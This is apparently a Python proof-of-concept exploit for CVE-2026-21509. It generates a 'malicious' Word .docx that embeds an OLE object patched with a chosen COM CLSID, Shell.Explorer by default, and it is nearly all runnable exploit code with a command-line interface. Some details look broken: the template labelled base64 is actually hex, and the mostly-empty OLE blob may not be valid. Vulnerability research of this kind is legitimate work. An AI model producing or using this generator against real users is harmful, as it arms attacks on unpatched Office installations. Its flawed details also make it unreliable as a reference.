#!/usr/bin/env python3 """ CVE-2026-21509 Proof of Concept – DOCX with valid OLE compound file. - Uses a base64‑encoded template OLE file (patched with user CLSID). - Includes mandatory docProps files. - All XML namespaces use Option 1 (Clark notation + .set()). Requirements: Python 3.6+ (no extra libraries) """ import argparse import uuid import zipfile import os import tempfile import datetime import base64 from xml.etree import ElementTree as ET # ---------------------------------------------------------------------- # Base64‑encoded minimal OLE compound file (256 bytes) # Contains a dummy stream and a placeholder CLSID (16 zero bytes). # The placeholder appears at offset 0x80 (128) in the file. # ---------------------------------------------------------------------- OLE_TEMPLATE_B64 = ( "D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000" "0000000000000000000100000002000000000000000010000002000000000000000000" "0000000000004000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" "0000000000000000000000000000000000000000000000000000000000000000000000" ) def patch_ole_clsid(template_bytes, clsid_str): """ Replace the placeholder CLSID (16 zero bytes at offset 0x80) with the little‑endian bytes of the given CLSID. """ try: clsid = uuid.UUID(clsid_str) clsid_bytes = clsid.bytes_le except: clsid_bytes = b'\x00' * 16 # Convert hex string to bytes ole_data = bytes.fromhex(template_bytes) # Ensure length is at least 0x80+16 if len(ole_data) < 0x90: ole_data = ole_data.ljust(0x90, b'\x00') # Replace bytes at offset 0x80 patched = ole_data[:0x80] + clsid_bytes + ole_data[0x80+16:] return patched # ---------------------------------------------------------------------- # Build a complete .docx with embedded OLE # ---------------------------------------------------------------------- def create_malicious_docx(output_path, clsid="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B"): """Creates a .docx file with an OLE object embedded.""" # Decode template and patch with user CLSID ole_data = patch_ole_clsid(OLE_TEMPLATE_B64, clsid) with tempfile.TemporaryDirectory() as tmpdir: # Required directories word_dir = os.path.join(tmpdir, "word") embeddings_dir = os.path.join(word_dir, "embeddings") rels_dir = os.path.join(word_dir, "_rels") docprops_dir = os.path.join(tmpdir, "docProps") os.makedirs(embeddings_dir, exist_ok=True) os.makedirs(rels_dir, exist_ok=True) os.makedirs(docprops_dir, exist_ok=True) # 1. Write the OLE binary to word/embeddings/oleObject1.bin ole_path = os.path.join(embeddings_dir, "oleObject1.bin") with open(ole_path, "wb") as f: f.write(ole_data) # 2. [Content_Types].xml ct_root = ET.Element("Types", xmlns="http://schemas.openxmlformats.org/package/2006/content-types") ET.SubElement(ct_root, "Default", Extension="bin", ContentType="application/vnd.openxmlformats-officedocument.oleObject") ET.SubElement(ct_root, "Override", PartName="/word/document.xml", ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml") ET.SubElement(ct_root, "Override", PartName="/docProps/core.xml", ContentType="application/vnd.openxmlformats-package.core-properties+xml") ET.SubElement(ct_root, "Override", PartName="/docProps/app.xml", ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml") ct_path = os.path.join(tmpdir, "[Content_Types].xml") with open(ct_path, "wb") as f: f.write(b'\n') f.write(ET.tostring(ct_root, encoding="utf-8")) # 3. _rels/.rels (package relationships) rels_root = ET.Element("Relationships", xmlns="http://schemas.openxmlformats.org/package/2006/relationships") ET.SubElement(rels_root, "Relationship", Id="rId1", Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument", Target="word/document.xml") ET.SubElement(rels_root, "Relationship", Id="rId2", Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties", Target="docProps/core.xml") ET.SubElement(rels_root, "Relationship", Id="rId3", Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties", Target="docProps/app.xml") rels_path = os.path.join(tmpdir, "_rels", ".rels") os.makedirs(os.path.dirname(rels_path), exist_ok=True) with open(rels_path, "wb") as f: f.write(b'\n') f.write(ET.tostring(rels_root, encoding="utf-8")) # 4. docProps/core.xml core = ET.Element("{http://schemas.openxmlformats.org/package/2006/metadata/core-properties}coreProperties") core.set("xmlns:cp", "http://schemas.openxmlformats.org/package/2006/metadata/core-properties") core.set("xmlns:dc", "http://purl.org/dc/elements/1.1/") core.set("xmlns:dcterms", "http://purl.org/dc/terms/") core.set("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance") dc_title = ET.SubElement(core, "dc:title") dc_title.text = "CVE-2026-21509 Test" dc_creator = ET.SubElement(core, "dc:creator") dc_creator.text = "Security Researcher" cp_lastModifiedBy = ET.SubElement(core, "cp:lastModifiedBy") cp_lastModifiedBy.text = "Researcher" dcterms_created = ET.SubElement(core, "dcterms:created") dcterms_created.set("xsi:type", "dcterms:W3CDTF") dcterms_created.text = datetime.datetime.utcnow().isoformat() + "Z" dcterms_modified = ET.SubElement(core, "dcterms:modified") dcterms_modified.set("xsi:type", "dcterms:W3CDTF") dcterms_modified.text = datetime.datetime.utcnow().isoformat() + "Z" core_path = os.path.join(docprops_dir, "core.xml") with open(core_path, "wb") as f: f.write(b'\n') f.write(ET.tostring(core, encoding="utf-8")) # 5. docProps/app.xml app = ET.Element("{http://schemas.openxmlformats.org/officeDocument/2006/extended-properties}Properties") app.set("xmlns", "http://schemas.openxmlformats.org/officeDocument/2006/extended-properties") app.set("xmlns:vt", "http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes") ET.SubElement(app, "Application").text = "Microsoft Office Word" ET.SubElement(app, "DocSecurity").text = "0" ET.SubElement(app, "Lines").text = "1" ET.SubElement(app, "Paragraphs").text = "1" ET.SubElement(app, "Company").text = "Test" app_path = os.path.join(docprops_dir, "app.xml") with open(app_path, "wb") as f: f.write(b'\n') f.write(ET.tostring(app, encoding="utf-8")) # 6. word/_rels/document.xml.rels doc_rels_root = ET.Element("Relationships", xmlns="http://schemas.openxmlformats.org/package/2006/relationships") ET.SubElement(doc_rels_root, "Relationship", Id="rId1", Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", Target="embeddings/oleObject1.bin") doc_rels_path = os.path.join(rels_dir, "document.xml.rels") with open(doc_rels_path, "wb") as f: f.write(b'\n') f.write(ET.tostring(doc_rels_root, encoding="utf-8")) # 7. word/document.xml document = ET.Element("{http://schemas.openxmlformats.org/wordprocessingml/2006/main}document") document.set("xmlns:w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main") document.set("xmlns:wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing") document.set("xmlns:a", "http://schemas.openxmlformats.org/drawingml/2006/main") document.set("xmlns:pic", "http://schemas.openxmlformats.org/drawingml/2006/picture") document.set("xmlns:r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships") body = ET.SubElement(document, "w:body") # Paragraph with embedded object p = ET.SubElement(body, "w:p") r = ET.SubElement(p, "w:r") obj = ET.SubElement(r, "w:object") obj.set("w:dxaOrig", "1440") obj.set("w:dyaOrig", "1440") control = ET.SubElement(obj, "w:control") control.set("w:name", "Object1") control.set("w:shapeid", "_x0000_i1025") control.set("r:id", "rId1") # matches relationship ID in document.xml.rels # Drawing fallback (required by some Office versions) drawing = ET.SubElement(r, "w:drawing") inline = ET.SubElement(drawing, "wp:inline") extent = ET.SubElement(inline, "wp:extent") extent.set("cx", "1905000") extent.set("cy", "1905000") docPr = ET.SubElement(inline, "wp:docPr") docPr.set("id", "1") docPr.set("name", "Object1") graphic = ET.SubElement(inline, "a:graphic") graphicData = ET.SubElement(graphic, "a:graphicData") graphicData.set("uri", "http://schemas.openxmlformats.org/drawingml/2006/picture") pic_elem = ET.SubElement(graphicData, "pic:pic") nvPicPr = ET.SubElement(pic_elem, "pic:nvPicPr") cNvPr = ET.SubElement(nvPicPr, "pic:cNvPr") cNvPr.set("id", "1") cNvPr.set("name", "Placeholder") cNvPicPr = ET.SubElement(nvPicPr, "pic:cNvPicPr") blipFill = ET.SubElement(pic_elem, "pic:blipFill") blip = ET.SubElement(blipFill, "a:blip") blip.set("r:embed", "rId1") # fallback reference ET.SubElement(blipFill, "a:stretch") spPr = ET.SubElement(pic_elem, "pic:spPr") xfrm = ET.SubElement(spPr, "a:xfrm") off = ET.SubElement(xfrm, "a:off") off.set("x", "0") off.set("y", "0") ext = ET.SubElement(xfrm, "a:ext") ext.set("cx", "1905000") ext.set("cy", "1905000") prstGeom = ET.SubElement(spPr, "a:prstGeom") prstGeom.set("prst", "rect") document_path = os.path.join(word_dir, "document.xml") with open(document_path, "wb") as f: f.write(b'\n') f.write(ET.tostring(document, encoding="utf-8")) # 8. Zip everything with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as z: for root, dirs, files in os.walk(tmpdir): for file in files: full_path = os.path.join(root, file) arcname = os.path.relpath(full_path, tmpdir) z.write(full_path, arcname) print(f"[+] Malicious DOCX created: {output_path}") print(f"[+] CLSID used: {clsid}") print("[!] Open this file in an isolated, vulnerable Office VM only!") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-21509 PoC – embedded OLE object (valid OLE file)") parser.add_argument("--output", default="CVE-2026-21509_Test.docx", help="Output DOCX file") parser.add_argument("--clsid", default="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B", help="COM CLSID to embed (default = Shell.Explorer)") args = parser.parse_args() create_malicious_docx(args.output, args.clsid)